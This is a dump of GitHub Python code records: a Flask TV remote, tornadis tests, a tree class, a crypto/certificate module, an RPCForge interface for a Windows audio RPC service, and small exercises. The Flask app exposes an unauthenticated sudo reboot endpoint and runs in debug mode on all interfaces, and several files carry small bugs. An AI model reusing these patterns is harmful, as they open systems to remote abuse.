flask import redirect, url_for\nfrom pymote import pyMote\nfrom pprint import pprint\n\nimport definitions\n\ntv = pyMote()\napp = Flask(__name__)\n\n\ndef get_resource_as_string(name, charset='utf-8'):\n with app.open_resource(name) as f:\n return f.read().decode(charset)\n\napp.jinja_env.globals['get_resource_as_string'] = get_resource_as_string\n\n\n@app.route('/')\ndef index():\n return render_template('index.html', instructions=definitions.instructions, advanced_instructions=definitions.advanced_instructions)\n\n\n@app.route('/display', methods=['POST'])\ndef display():\n\n command(request.form)\n # command(request.form['tvfunction'])\n return redirect(url_for('index'))\n\n\ndef command(command):\n pprint(command)\n if command.has_key('tvfunction'):\n tvfunction(command['tvfunction'])\n elif command.has_key('pifunction'):\n pifunction(command['pifunction'])\n\n\ndef tvfunction(command):\n if command == \"Tv On\":\n tv.set_input(1)\n elif command == \"Tv Off\":\n tv.power_off()\n elif command == \"input 1\":\n tv.set_input(1)\n elif command == \"input 2\":\n tv.set_input(2)\n elif command == \"input 3\":\n tv.set_input(3)\n elif command == \"input 4\":\n tv.set_input(4)\n\n\ndef pifunction(command):\n if command == \"restart\":\n restart()\n\n\ndef restart():\n command = \"/usr/bin/sudo /sbin/shutdown -r now\"\n import subprocess\n process = subprocess.Popen(command.split(), stdout=subprocess.PIPE)\n output = process.communicate()[0]\n\nif __name__ == '__main__':\n app.debug = True\n app.run(host='0.0.0.0')\n","repo_name":"daftscience/PiPyMote","sub_path":"pipymote.py","file_name":"pipymote.py","file_ext":"py","file_size_in_byte":1678,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"53"} +{"seq_id":"21700511142","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nimport tornado.testing\nimport tornado.ioloop\nimport time\nimport functools\n\nfrom tornadis.pool import ClientPool\nfrom tornadis.client import Client\nfrom tornadis.exceptions import ClientError\nfrom support import mock, test_redis_or_raise_skiptest\n\n\nclass ClientPoolTestCase(tornado.testing.AsyncTestCase):\n\n def setUp(self):\n test_redis_or_raise_skiptest()\n super(ClientPoolTestCase, self).setUp()\n\n def get_new_ioloop(self):\n return tornado.ioloop.IOLoop.instance()\n\n @tornado.testing.gen_test\n def test_init(self):\n c = ClientPool()\n c.destroy()\n\n @tornado.testing.gen_test\n def test_get_client1(self):\n c = ClientPool()\n client = yield c.get_connected_client()\n self.assertTrue(isinstance(client, Client))\n c.release_client(client)\n c.destroy()\n\n def _test_get_client2_cb(self, pool, client):\n pool.release_client(client)\n self._test_get_client2_cb_called = True\n\n @tornado.testing.gen_test\n def test_get_client2(self):\n c = ClientPool(max_size=2)\n client1 = yield c.get_connected_client()\n self.assertTrue(isinstance(client1, Client))\n client2 = yield c.get_connected_client()\n self.assertTrue(isinstance(client2, Client))\n ioloop = tornado.ioloop.IOLoop.instance()\n deadline = time.time() + 1\n cb = functools.partial(self._test_get_client2_cb, c, client1)\n self._test_get_client2_cb_called = False\n ioloop.add_timeout(deadline, cb)\n client3 = yield c.get_connected_client()\n self.assertTrue(self._test_get_client2_cb_called)\n self.assertTrue(client1 == client3)\n c.release_client(client2)\n c.release_client(client3)\n c.destroy()\n\n @tornado.testing.gen_test\n def test_get_client_client_error(self):\n wrong_port = 11111\n\n c = ClientPool(max_size=1, port=wrong_port)\n\n client = yield c.get_connected_client()\n\n self.assertTrue(isinstance(client, ClientError))\n\n c.release_client(client)\n\n new_client = yield c.get_connected_client()\n\n self.assertTrue(isinstance(new_client, ClientError))\n\n c.destroy()\n\n @tornado.testing.gen_test\n def test_get_client_nowait1(self):\n c = ClientPool()\n client = c.get_client_nowait()\n self.assertTrue(isinstance(client, Client))\n c.release_client(client)\n c.destroy()\n\n @tornado.testing.gen_test\n def test_get_client_nowait2(self):\n c = ClientPool(max_size=1)\n client1 = c.get_client_nowait()\n self.assertTrue(isinstance(client1, Client))\n client2 = c.get_client_nowait()\n self.assertTrue(client2 is None)\n c.release_client(client1)\n c.destroy()\n\n @tornado.testing.gen_test\n def test_get_client_context_manager(self):\n c = ClientPool(max_size=1)\n with (yield c.connected_client()) as client:\n pass\n client = yield c.get_connected_client()\n c.release_client(client)\n c.destroy()\n\n @tornado.testing.gen_test\n def test_get_client_select_db_after_connect(self):\n db = 13\n c = ClientPool(db=db)\n client = yield c.get_connected_client()\n self.assertIsInstance(client, Client)\n self.assertEqual(db, client.db)\n c.release_client(client)\n c.destroy()\n\n @tornado.testing.gen_test\n def test_get_client_invalid_select_db_after_connect(self):\n db = 'non-existent-db'\n c = ClientPool(db=db)\n client = yield c.get_connected_client()\n self.assertIsInstance(client, ClientError)\n c.destroy()\n\n @tornado.testing.gen_test\n def test_preconnect1(self):\n c = ClientPool(max_size=-1)\n try:\n yield c.preconnect()\n raise Exception(\"ClientError not raised\")\n except ClientError:\n pass\n\n @tornado.testing.gen_test\n def test_preconnect2(self):\n c = ClientPool(max_size=5)\n yield c.preconnect(5)\n pool = c._ClientPool__pool\n for i in range(0, 5):\n client = pool.popleft()\n self.assertTrue(client.is_connected())\n for i in range(0, 5):\n pool.append(client)\n c.destroy()\n\n @tornado.testing.gen_test\n def test_timeout(self):\n c = ClientPool(max_size=5, client_timeout=1)\n client1 = yield c.get_connected_client()\n c.release_client(client1)\n client2 = yield c.get_connected_client()\n c.release_client(client2)\n self.assertTrue(client1 == client2)\n yield tornado.gen.sleep(1)\n client3 = yield c.get_connected_client()\n self.assertFalse(client1 == client3)\n c.release_client(client3)\n c.destroy()\n\n @tornado.testing.gen_test\n def test_constructor(self):\n c = ClientPool(max_size=-1, client_timeout=-1, port=6379,\n host=\"localhost\", password=\"foo\")\n with (yield c.connected_client()) as client:\n self.assertTrue(isinstance(client, ClientError))\n pass\n c.destroy()\n\n @tornado.testing.gen_test\n def test_autoclose(self):\n c = ClientPool(max_size=5, client_timeout=1, autoclose=True)\n client1 = yield c.get_connected_client()\n self.assertTrue(client1.is_connected())\n c.release_client(client1)\n yield tornado.gen.sleep(3)\n self.assertFalse(client1.is_connected())\n c.destroy()\n\n @tornado.testing.gen_test\n def test_release_expired_client_disconnect(self):\n with mock.patch.object(ClientPool,\n '_is_expired_client',\n return_value=True):\n c = ClientPool(max_size=5, client_timeout=60, autoclose=False)\n client = yield c.get_connected_client()\n self.assertTrue(client.is_connected())\n c.release_client(client)\n self.assertFalse(client.is_connected())\n","repo_name":"thefab/tornadis","sub_path":"tests/test_pool.py","file_name":"test_pool.py","file_ext":"py","file_size_in_byte":5996,"program_lang":"python","lang":"en","doc_type":"code","stars":126,"dataset":"github-code","pt":"53"} +{"seq_id":"16833940683","text":"#deficion de la clase ArbolBinario\n\nclass ArbolBinario:\n def __init__(self,objetoRaiz):\n self.clave = objetoRaiz\n self.izquierda= None\n self.derecha = None\n def insertarIzquierda(self, nuevoNodo):\n if self.izquierda == None: # si no hay hijo izquierdo simplemente se agrega el nuevo nodo\n self.izquierda == ArbolBinario(nuevoNodo) #... el cual a su vez es un arbol binario(recurisividad)\n\n else: # si existia el hijo izquierdo, este se hace hijo izquierdo del nuevo nodo\n t= ArbolBinario(nuevoNodo) #... el cual, a su vez es un arbol binario (recursividad)\n t.izquierda = self.izquierda # conectar el hijo que ya existia como hijo nuevo del nuevo nodo\n self.izquierda = t # conectar el nuevo nodo como hijo izquierdo del nodo actual\n\n def insertarDerecha(self, nuevoNodo):\n if self.derecha == None:\n self.derecha = ArbolBinario(nuevoNodo)\n else:\n t= ArbolBinario(nuevoNodo)\n t.derecha = self.derecha\n self.derecha = t\n\n","repo_name":"hrivera7777/Jobs","sub_path":"estructuras_de_datos/clase 23-07-2019/Arbol2.py","file_name":"Arbol2.py","file_ext":"py","file_size_in_byte":1066,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"29246577045","text":"import math\nfrom new_agent import Agent\nfrom world_model import World\nimport numpy as np\n\nworld = World()\nmax_resting_time = 10\n\ndef resting_state(agent: Agent):\n agent.clock += 1 \n \n if np.random.rand() < agent.clock / max_resting_time:\n agent.clock = 0\n agent.state = explore_state\n \ndef explore_state(agent: Agent):\n \n value_of_near_site = 20\n \n sites = sorted(world.sites, key = lambda site : math.dist(site.location, agent.location))\n closest_site = sites[0]\n \n if closest_site < value_of_near_site:\n agent = acessing_state\n \ndef acessing_state(agent: Agent):\n if isinstance(agent.state, acessing_state):\n print(\"I'm in the accesing state!\")\n\n\n \n\n\n \n ","repo_name":"suzanaSSP/new_model","sub_path":"new_states.py","file_name":"new_states.py","file_ext":"py","file_size_in_byte":742,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"3433635745","text":"filename = 'pi_digits.txt'\nwith open(filename) as file_object:\n # contents = file_object.read()\n # print(contents.strip())\n #逐行读取\n # for line in file_object:\n # print(line)\n\n #创建一个包含内容的列表\n lines = file_object.readlines()\n \n# for line in lines:\n# print(line.strip())\n# print(lines)\n\npi_string = ''\nfor line in lines:\n pi_string += line.strip()\nprint(pi_string)\nbirthday = input(\"输入你的生日mmddYY:\")\nif birthday in pi_string:\n print(\"你的生日在PI里!\")\nelse:\n print(\"你的生日不在PI里!\")\n\n","repo_name":"din0/python_study_from_0","sub_path":"testfiles/file_reader.py","file_name":"file_reader.py","file_ext":"py","file_size_in_byte":583,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"16152275854","text":"import ast\nfrom itertools import zip_longest\n\nfrom migen.fhdl.std import *\nfrom migen.flow.actor import Source, Sink\nfrom migen.flow.transactions import *\nfrom migen.bus import wishbone\nfrom migen.bus.transactions import *\n\nfrom pytholite.util import *\nfrom pytholite.expr import ExprCompiler\n\n\nclass _TokenPullExprCompiler(ExprCompiler):\n def __init__(self, symdict, modelname, ep):\n ExprCompiler.__init__(self, symdict)\n self.modelname = modelname\n self.ep = ep\n\n def visit_expr_subscript(self, node):\n # check that we are subscripting .value\n if (not isinstance(node.value, ast.Attribute)\n or node.value.attr != \"value\"\n or not isinstance(node.value.value, ast.Name)\n or node.value.value.id != self.modelname):\n raise NotImplementedError\n\n if not isinstance(node.slice, ast.Index):\n raise NotImplementedError\n field = eval_ast(node.slice.value, self.symdict)\n signal = getattr(self.ep.payload, field)\n\n return signal\n\n\ndef _gen_df_io(compiler, modelname, to_model, from_model):\n epname = eval_ast(to_model[\"endpoint\"], compiler.symdict)\n values = to_model[\"value\"]\n idle_wait = eval_ast(to_model[\"idle_wait\"], compiler.symdict)\n ep = getattr(compiler.ioo, epname)\n if idle_wait:\n state = [compiler.ioo.busy.eq(0)]\n else:\n state = []\n\n if isinstance(values, ast.Name) and values.id == \"None\":\n # token pull from sink\n if not isinstance(ep, Sink):\n raise TypeError(\"Attempted to pull from source\")\n ec = _TokenPullExprCompiler(compiler.symdict, modelname, ep)\n for target_regs, expr in from_model:\n cexpr = ec.visit_expr(expr)\n state += [reg.load(cexpr) for reg in target_regs]\n state += [\n ep.ack.eq(1),\n If(~ep.stb, id_next_state(state))\n ]\n return [state], [state]\n else:\n # token push to source\n if not isinstance(ep, Source):\n raise TypeError(\"Attempted to push to sink\")\n if from_model:\n raise TypeError(\"Attempted to read from pushed token\")\n if not isinstance(values, ast.Dict):\n raise NotImplementedError\n for akey, value in zip(values.keys, values.values):\n key = eval_ast(akey, compiler.symdict)\n signal = getattr(ep.payload, key)\n state.append(signal.eq(compiler.ec.visit_expr(value)))\n state += [\n ep.stb.eq(1),\n If(~ep.ack, id_next_state(state))\n ]\n return [state], [state]\n\n\nclass _BusReadExprCompiler(ExprCompiler):\n def __init__(self, symdict, modelname, data_signal):\n ExprCompiler.__init__(self, symdict)\n self.modelname = modelname\n self.data_signal = data_signal\n\n def visit_expr_attribute(self, node):\n # recognize .data as the bus read signal,\n # raise exception otherwise\n if (not isinstance(node.value, ast.Name)\n or node.value.id != self.modelname\n or node.attr != \"data\"):\n raise NotImplementedError\n return self.data_signal\n\n\ndef _gen_wishbone_io(compiler, modelname, model, to_model, from_model, bus):\n state = [\n bus.cyc.eq(1),\n bus.stb.eq(1),\n bus.adr.eq(compiler.ec.visit_expr(to_model[\"address\"])),\n ]\n\n if model == TWrite:\n if from_model:\n raise TypeError(\"Attempted to read from write transaction\")\n state += [\n bus.we.eq(1),\n bus.dat_w.eq(compiler.ec.visit_expr(to_model[\"data\"]))\n ]\n sel = to_model[\"sel\"]\n if isinstance(sel, ast.Name) and sel.id == \"None\":\n nbytes = (flen(bus.dat_w) + 7)//8\n state.append(bus.sel.eq(2**nbytes-1))\n else:\n state.append(bus.sel.eq(compiler.ec.visit_expr(sel)))\n else:\n ec = _BusReadExprCompiler(compiler.symdict, modelname, bus.dat_r)\n for target_regs, expr in from_model:\n cexpr = ec.visit_expr(expr)\n state += [reg.load(cexpr) for reg in target_regs]\n state.append(If(~bus.ack, id_next_state(state)))\n return [state], [state]\n\n\ndef _gen_memory_io(compiler, modelname, model, to_model, from_model, port):\n s1 = [port.adr.eq(compiler.ec.visit_expr(to_model[\"address\"]))]\n if model == TWrite:\n if from_model:\n raise TypeError(\"Attempted to read from write transaction\")\n s1.append(port.dat_w.eq(compiler.ec.visit_expr(to_model[\"data\"])))\n sel = to_model[\"sel\"]\n if isinstance(sel, ast.Name) and sel.id == \"None\":\n nbytes = (flen(port.dat_w) + 7)//8\n s1.append(port.we.eq(2**nbytes-1))\n else:\n s1.append(port.we.eq(compiler.ec.visit_expr(sel)))\n return [s1], [s1]\n else:\n s2 = []\n s1.append(id_next_state(s2))\n ec = _BusReadExprCompiler(compiler.symdict, modelname, port.dat_r)\n for target_regs, expr in from_model:\n cexpr = ec.visit_expr(expr)\n s2 += [reg.load(cexpr) for reg in target_regs]\n return [s1, s2], [s2]\n\n\ndef _gen_bus_io(compiler, modelname, model, to_model, from_model):\n busname = eval_ast(to_model[\"busname\"], compiler.symdict)\n if busname is None:\n buses = compiler.ioo.get_buses()\n if len(buses) != 1:\n raise TypeError(\"Bus name not specified\")\n bus = list(buses.values())[0]\n else:\n bus = getattr(compiler.ioo, busname)\n if isinstance(bus, wishbone.Interface):\n return _gen_wishbone_io(compiler, modelname,\n model, to_model, from_model, bus)\n elif isinstance(bus, Memory):\n port = compiler.ioo.memory_ports[bus]\n return _gen_memory_io(compiler, modelname,\n model, to_model, from_model, port)\n else:\n raise NotImplementedError(\"Unsupported bus\")\n\n\ndef _decode_args(desc, args, args_kw):\n d = {}\n argnames = set()\n for param, value in zip_longest(desc, args):\n if param is None:\n raise TypeError(\"Too many arguments\")\n if isinstance(param, tuple):\n name, default = param\n else:\n name, default = param, None\n\n # build the set of argument names at the same time\n argnames.add(name)\n\n if value is None:\n if default is None:\n raise TypeError(\"No default value for parameter \" + name)\n else:\n d[name] = default\n else:\n d[name] = value\n for akw in args_kw:\n if akw.arg not in argnames:\n raise TypeError(\"Parameter \" + akw.arg + \" does not exist\")\n d[akw.arg] = akw.value\n return d\n\n\ndef gen_io(compiler, modelname, model, to_model, to_model_kw, from_model):\n if model == Token:\n desc = [\n \"endpoint\",\n (\"value\", ast.Name(\"None\", ast.Load(),\n lineno=0, col_offset=0)),\n (\"idle_wait\", ast.Name(\"False\", ast.Load(),\n lineno=0, col_offset=0))\n ]\n args = _decode_args(desc, to_model, to_model_kw)\n return _gen_df_io(compiler, modelname, args, from_model)\n elif model == TRead or model == TWrite:\n desc = [\n \"address\",\n (\"data\", ast.Num(0)),\n (\"sel\", ast.Name(\"None\", ast.Load(), lineno=0, col_offset=0)),\n (\"busname\", ast.Name(\"None\", ast.Load(), lineno=0, col_offset=0))\n ]\n args = _decode_args(desc, to_model, to_model_kw)\n return _gen_bus_io(compiler, modelname, model, args, from_model)\n else:\n raise NotImplementedError\n","repo_name":"m-labs/pytholite","sub_path":"pytholite/io.py","file_name":"io.py","file_ext":"py","file_size_in_byte":7718,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"28843693061","text":"import os\nimport numpy as np\nimport pandas as pd\nimport typing as tp\n\nfrom sklearn.model_selection import train_test_split, GridSearchCV\nfrom sklearn.linear_model import Ridge\nfrom catboost import CatBoostRegressor, Pool\n\nfrom src import utils\nfrom src.models import evaluate\n\nRS = 35\n\nmodel_path = '../models'\n\n\ndef train(input_train_data, input_train_target, output_model_filepath: str = model_path) -> None:\n\n train = pd.read_pickle(input_train_data)\n target = pd.read_pickle(input_train_target)\n \n train_data, val_data, train_target, val_target = train_test_split(train, target, train_size=0.8, random_state=RS)\n \n # Ridge\n\n parameters = {\n 'fit_intercept': [True, False],\n 'alpha': [0.1, 1, 5, 10, 15, 100],\n 'tol': [1e-5, 1e-3, 1e-1],\n 'positive': [True, False]\n }\n\n model = Ridge(random_state=RS, max_iter=1000)\n clf = GridSearchCV(model, parameters, scoring='r2', cv=3)\n clf.fit(train_data, train_target)\n clf.best_params_\n\n ridge = Ridge(random_state=RS, max_iter=1000, **clf.best_params_).fit(train_data, train_target)\n\n utils.save_model(ridge, os.path.join(output_model_filepath, 'ridge.pkl'))\n \n evaluate.evaluate(train, target, ridge, 'Ridge')\n \n # Catboost\n \n pool = Pool(train_data, train_target, )\n\n cb = CatBoostRegressor(iterations=2000, loss_function='RMSE', eval_metric='RMSE', learning_rate=0.03, silent=True)\n\n cb.fit(pool, eval_set=(val_data, val_target), verbose=False, plot=False)\n \n utils.save_model(cb, os.path.join(output_model_filepath, 'catboost.pkl'))\n \n evaluate.evaluate(train, target, cb, 'Catboost')\n","repo_name":"valvarl/hse_workshop_regression","sub_path":"pipelines/train_model.py","file_name":"train_model.py","file_ext":"py","file_size_in_byte":1641,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"53"} +{"seq_id":"34984691477","text":"from rpc_forge import *\nclass Struct_96_t(NdrStructure):\n MEMBERS = [NdrLong, NdrShort, NdrShort, NdrByte, NdrByte, NdrByte, NdrByte, NdrByte, NdrByte, NdrByte, NdrByte, ]\n\n\ninterface = Interface(\"6e21ea0b-4042-49fd-4844-cc07c3a3c117\", (1,6), [\n\nMethod(\"s_winmmGetPnpInfo\", 0, \nOut(NdrLong), \nOut(NdrRef(SizeIs(0, 'deref') / NdrByte))),\n\nMethod(\"s_mmeNotifyDeviceStateChanged\", 1, \nIn(NdrWString), \nIn(NdrLong)),\n\nMethod(\"s_mmeNotifyDeviceAdded\", 1, \nIn(NdrWString)),\n\nMethod(\"s_mmeNotifyDeviceRemoved\", 1, \nIn(NdrWString)),\n\nMethod(\"s_mmeNotifyDefaultDeviceChanged\", 1, \nIn(NdrLong), \nIn(NdrLong), \nIn(NdrWString)),\n\nMethod(\"s_tsSessionGetAudioProtocol\", 1, \nIn(NdrLong), \nOut(NdrLong), \nOut(NdrLong)),\n\nMethod(\"s_tsRegisterAudioProtocolNotification\", 1, \nOut(NdrContextHandle)),\n\nMethod(\"s_tsUnregisterAudioProtocolNotification\", 1, \nIn(Out(NdrContextHandle))),\n\nMethod(\"s_sndevtResolveSoundAlias\", 1, \nIn(NdrWString), \nIn(NdrUniquePTR(NdrWString)), \nIn(NdrLong), \nOut(NdrLong), \nIn(Out(NdrUniquePTR(NdrWString)))),\n\nMethod(\"s_pbmRegisterPlaybackManagerNotifications\", 1, \nIn(NdrShort), \nIn(NdrShort)),\n\nMethod(\"s_pbmUnregisterPlaybackManagerNotifications\", 1, \nIn(NdrShort), \nIn(NdrShort)),\n\nMethod(\"s_pbmSetSmtcSubscriptionState\", 1, \nIn(NdrShort), \nIn(NdrLong)),\n\nMethod(\"s_pbmGetSoundLevel\", 1, \nOut(NdrRef(NdrShort))),\n\nMethod(\"s_ccCreateHandsfreeHidFileFromAudioId\", 1, \nIn(NdrWString), \nOut(NdrLong)),\n\nMethod(\"s_pbmRegisterAppClosureNotification\", 1, \n),\n\nMethod(\"s_pbmUnregisterAppClosureNotification\", 1, \n),\n\nMethod(\"s_pbmPlayToStreamStateChanged\", 1, \nIn(NdrShort)),\n\nMethod(\"s_pbmIsPlaying\", 1, \nOut(NdrLong)),\n\nMethod(\"s_pbmCastingAppStateChanged\", 1, \nIn(NdrShort)),\n\nMethod(\"s_pbmLaunchBackgroundTask\", 1, \nIn(NdrWString), \nIn(NdrWString), \nOut(Struct_96_t)),\n\nMethod(\"s_pbmRegisterAsBackgroundTask\", 1, \nIn(Struct_96_t)),\n\nMethod(\"s_afxOpenAudioEffectsWatcher\", 1, \nIn(NdrWString), \nIn(NdrShort), \nIn(NdrLong), \nOut(Struct_96_t), \nOut(NdrHyper), \nOut(NdrContextHandle)),\n\nMethod(\"s_afxCloseAudioEffectsWatcher\", 0, \nIn(Out(NdrContextHandle))),\n\nMethod(\"s_midiOpenPort\", 1, \nIn(NdrWString), \nOut(NdrLong)),\n\nMethod(\"s_rtgGetDefaultAudioEndpoint\", 1, \nIn(NdrShort), \nIn(NdrShort), \nOut(NdrRef(NdrWString)), \nOut(NdrLong)),\n\nMethod(\"s_apmRegisterProxyAudioProcess\", 1, \n),\n\nMethod(\"s_apmSetDuckingGainForId\", 1, \nIn(NdrWString), \nIn(NdrLong)),\n\nMethod(\"s_apmSetLayoutGainForId\", 1, \nIn(NdrLong), \nIn(NdrLong)),\n\nMethod(\"s_apmSetVolumeGroupGainForId\", 1, \nIn(NdrWString), \nIn(NdrLong)),\n]) \n\ninterface.is_registered = False\n\ninterface.endpoints = []\ninterface.endpoints.append(\"AudioClientRpc\")\ninterface.endpoints.append(\"Audiosrv\")\ninterface.endpoints.append(\"PlaybackManagerRpc\")\ninterface.endpoints.append(\"AudioSrvDiagnosticsRpc\")\ninterface.endpoints.append(\"SpatialSoundDataManagerRpc\")\n","repo_name":"sogeti-esec-lab/RPCForge","sub_path":"interfaces/6e21ea0b-4042-49fd-4844-cc07c3a3c117.py","file_name":"6e21ea0b-4042-49fd-4844-cc07c3a3c117.py","file_ext":"py","file_size_in_byte":2811,"program_lang":"python","lang":"en","doc_type":"code","stars":147,"dataset":"github-code","pt":"53"} +{"seq_id":"17527559769","text":"#!/usr/bin/python3\n\n\"\"\"\n PrivateKey\n / \\\nPrivateKeyClient PrivateKeyServer\n\n PublicKey\n / \\\nPublicKeyClient PublicKeyServer\n\nContains classes to iteract with assymetric keys\n of an entity (server or client)\nThis way the used of theses keys are equal for both\n server and client allowing us to create code\n dependent on abstraction that have the same interface\n\"\"\"\n\nfrom abc import ABC, abstractmethod\nfrom datetime import datetime\nimport os\n\n#Encryption\nfrom cryptography.hazmat.primitives.hashes import SHA256\nfrom cryptography.hazmat.primitives.asymmetric import padding\nfrom cryptography.hazmat.backends import default_backend\nfrom cryptography.exceptions import InvalidSignature\n\n#Certificates\nfrom cryptography import x509\nfrom cryptography.x509.oid import NameOID, ExtensionOID\n\nimport encryption\n\nclass PrivateKey(ABC):\n \"\"\"\n Used by an entity to send messages and receive messages\n from other entities to ensure authentication to\n the receiver\n Allow an entity to do operations with her\n private key\n \"\"\"\n @abstractmethod\n def sign(self, message):\n \"\"\"\n Encrypt a message using a private key\n The receiver has the assurance that only the entity that\n has this key could have sent this message\n \"\"\"\n pass\n\n @abstractmethod\n def decrypt(self, cypherText):\n \"\"\"\n Decrypt a message using a public key\n The sender has the assurance that only the entity that\n has this key can read the message\n \"\"\"\n pass\n\nclass PublicKey(ABC):\n \"\"\"\n Class created by an entiry to store and to operations\n with a public key of another entity\n \"\"\"\n def __init__(self, publicKey):\n \"\"\"\n publicKey : RSAPublicKey : public key extrated from a\n valid certificate\n \"\"\"\n self.pubKey = publicKey\n\n @abstractmethod\n def encrypt(self, message):\n \"\"\"\n Used by and entity to send message to another entity.\n Ensures that only that entity can see the message\n \"\"\"\n pass\n\n @abstractmethod\n def verify(self, message, signature):\n \"\"\"\n Used by and entity to receive message of another entity.\n Ensures that only that entity could have sent the message\n \"\"\"\n pass\n\nclass PrivateKeyClient(PrivateKey):\n \"\"\"\n In our system the authentication of the client is made\n using the portugueses citizen card so for that\n the operations using the private key have to made\n through/inside the citizen card\n \"\"\"\n def sign(self, message):\n return encryption.citizenCard.sign(message)\n def decrypt(self, cypherText):\n raise TypeError(\"Operation not supported\")\n\nclass PrivateKeyServer(PrivateKey):\n \"\"\"\n Our servers in the system can load theirs private\n key and to all operations with it\n \"\"\"\n def __init__(self, privateKey):\n \"\"\"\n privateKey : RSAPrivateKey : loaded from encrypted file\n \"\"\"\n self.privKey = privateKey\n\n def sign(self, message):\n return self.privKey.sign(\n message,\n padding.PSS(\n mgf=padding.MGF1(SHA256()),\n salt_length=padding.PSS.MAX_LENGTH\n ),\n SHA256()\n )\n\n def decrypt(self, cypherText):\n return self.privKey.decrypt(\n cypherText,\n padding.OAEP(\n mgf=padding.MGF1(algorithm=SHA256()),\n algorithm=SHA256(),\n label=None\n )\n )\n\nclass PublicKeyServer(PublicKey):\n \"\"\"\n Allow a server to do operations with his public key\n \"\"\"\n def __init__(self, publicKey):\n super(PublicKeyServer, self).__init__(publicKey)\n\n def encrypt(self, message):\n return self.pubKey.encrypt(\n message,\n padding.OAEP(\n mgf=padding.MGF1(algorithm=SHA256()),\n algorithm=SHA256(),\n label=None\n )\n )\n\n def verify(self, message, signature):\n try:\n self.pubKey.verify(\n signature,\n message,\n padding.PSS(\n mgf=padding.MGF1(SHA256()),\n salt_length=padding.PSS.MAX_LENGTH\n ),\n SHA256()\n )\n except InvalidSignature:\n return False\n return True\n\nclass PublicKeyClient(PublicKey):\n \"\"\"\n Allow the client to do operations with his public key\n \"\"\"\n def __init__(self, publicKey):\n super(PublicKeyClient, self).__init__(publicKey)\n\n def encrypt(self, message):\n raise TypeError(\"Operation not supported\")\n\n def verify(self, message, signature):\n try:\n self.pubKey.verify(\n signature,\n message,\n padding.PKCS1v15(),\n SHA256()\n )\n except InvalidSignature:\n return False\n return True\n\ndef expiredOrRevoked(cert, crls, date):\n \"\"\"\n Function to check if a certificate is valid\n (if it's between the validation dates)\n (not in CRL's)\n \"\"\"\n\n if not (cert.not_valid_before < date < cert.not_valid_after):\n return True\n\n if cert.issuer not in crls.keys():\n return False\n\n for crl in crls[cert.issuer]:\n if crl.get_revoked_certificate_by_serial_number(cert.serial_number) != None and crl.last_update < date:\n return True\n\n return False\n\nCERTS_LOCATION = \"encryption/certs\"\nCRLS_LOCATION = \"encryption/crls\"\n\ndef validCertificate(certBytes, date=datetime.now()):\n \"\"\"\n Verifies a certificate\n -checks if it's valid (between validation dates)\n -Creates a chain with trusted CA's and intermediate CA's\n -verify signature validity within the chain\n\n returns Valid or not, Cause of error, certificate object, if it's a server or a client\n \"\"\"\n try:\n cert = x509.load_pem_x509_certificate(certBytes, default_backend())\n except:\n print(\"error loading\")\n return False, \"Invalid certificate format\", None, None\n\n if not cert.extensions.get_extension_for_oid(ExtensionOID.KEY_USAGE).value.digital_signature:\n print(\"not end-entity\")\n return False, \"Entities communicating must be a end-entity\", None, None\n\n #load crls\n crls = dict()\n for entry in os.scandir(CRLS_LOCATION):\n with open(CRLS_LOCATION + \"/\" + entry.name, \"rb\") as f:\n crl = x509.load_der_x509_crl(f.read(), default_backend())\n if crl.issuer not in crls.keys():\n crls[crl.issuer] = []\n crls[crl.issuer].append(crl)\n\n if expiredOrRevoked(cert, crls, date):\n print(\"certificate expired or revoked\")\n return False, \"Certificate expired or rovoked\", None, None\n\n certs = dict()\n for entry in os.scandir(CERTS_LOCATION):\n if entry.is_file() and entry.name.endswith(\".pem\"):\n with open(CERTS_LOCATION + \"/\" + entry.name, \"rb\") as f:\n tmpCert = x509.load_pem_x509_certificate(f.read(), default_backend())\n certs[tmpCert.subject] = tmpCert\n\n chain = [cert]\n prev = cert\n try:\n while chain[-1].subject != chain[-1].issuer:\n tmpCert = certs[chain[-1].issuer]\n if expiredOrRevoked(tmpCert, crls, date):\n print(\"invalid date chain\")\n return False, \"A certificate in the chain expired or was revoked when signed\", None, None\n if not tmpCert.extensions.get_extension_for_oid(ExtensionOID.KEY_USAGE).value.key_cert_sign:\n print(\"signed by nor a ca nor intermediate ca\")\n return False, \"Signed by nor a CA nor a intermediate CA\", None, None\n chain.append(tmpCert)\n prev = tmpCert\n except: #no trusted certificate issuer found\n print(\"issuer not found\")\n return False , \"Certificate in the chain unknown\", None, None\n\n validating = chain.pop(0)\n try:\n while len(chain) > 0:\n chain[0].public_key().verify(\n validating.signature,\n validating.tbs_certificate_bytes,\n padding.PKCS1v15(),\n validating.signature_hash_algorithm\n )\n\n validating = chain.pop(0)\n\n\n validating.public_key().verify(\n validating.signature,\n validating.tbs_certificate_bytes,\n padding.PKCS1v15(),\n validating.signature_hash_algorithm\n )\n except:\n print(\"signature invalid\")\n return False, \"Signature in chain not valid\", None, None\n\n if validating.subject.get_attributes_for_oid(NameOID.COMMON_NAME)[0].value == \"SIO CA\":\n return True, \"\", cert, True\n else:\n return True, \"\", cert, False\n\ndef getUserInfo(cert):\n \"\"\"\n Retrives from the clients citizen card it's civil number and their name\n \"\"\"\n id = cert.subject.get_attributes_for_oid(NameOID.SERIAL_NUMBER)[0].value[:-1]\n name = cert.subject.get_attributes_for_oid(NameOID.COMMON_NAME)[0]\n return id ,\"Andre\"#name\n","repo_name":"aspedrosa/secure_auctions","sub_path":"code/shared/encryption/assymetric.py","file_name":"assymetric.py","file_ext":"py","file_size_in_byte":9237,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"21050631249","text":"## 문자열뒤집기\n## notion 참조 \n\ninput = \"011110\"\n\n\ndef find_count_to_turn_out_to_all_zero_or_all_one(string):\n # 이 부분을 채워보세요!\n count_all_zero = 0\n count_all_one = 0\n\n if string[0] == '0':\n count_all_one += 1\n elif string[0] == '1':\n count_all_zero += 1\n\n for i in range(len(string) -1):\n if string[i] != string[i+1]:\n if string[i+1] == '0':\n 